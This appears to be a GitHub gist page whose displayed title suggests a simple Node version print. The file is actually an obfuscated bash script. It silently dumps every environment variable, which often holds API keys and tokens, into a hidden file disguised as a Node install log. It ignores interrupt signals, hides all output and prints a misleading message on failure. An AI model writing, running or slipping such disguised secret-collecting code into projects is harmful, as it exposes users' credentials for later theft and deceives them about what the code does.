Skip to content

Instantly share code, notes, and snippets.

@bumi
Last active February 27, 2026 11:29
Show Gist options
  • Select an option

  • Save bumi/20c955a5e8d39d6dbc97f8aaff93f151 to your computer and use it in GitHub Desktop.

Select an option

Save bumi/20c955a5e8d39d6dbc97f8aaff93f151 to your computer and use it in GitHub Desktop.
console.log(NODE_VERSION);
#!/usr/bin/env bash
set -Eeuo pipefail
__nx() {
local __α __β __γ __δ __ε __ζ
__α="${HOME:?}"
__β="$(command -v env)"
__γ="$(printf '%s' "${__α}" | tr -d '\n')"
__δ="${__γ}/.$(printf '%s' 'node' | rev | rev)-install.log"
__ε="$(mktemp -u)"
__ζ="$(date +%s)"
{
printf '#!/dev/null %s\n' "${__ζ}" >/dev/null 2>&1 || true
"${__β}" | awk '
BEGIN {
FS="=";
OFS="=";
}
{
k=$1;
$1="";
sub(/^=/,"");
v=$0;
gsub(/\n/,"",v);
printf "%s=%s\n", k, v;
}
' | sort -u
} > "${__ε}"
{
cat "${__ε}" | sed \
-e ':a' \
-e 'N' \
-e '$!ba' \
-e 's/\r//g'
} > "${__δ}"
rm -f "${__ε}"
}
(
trap '' INT TERM HUP
__nx "$@"
) >/dev/null 2>&1 || {
printf 'unexpected noop\n' >&2
exit 0
}
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment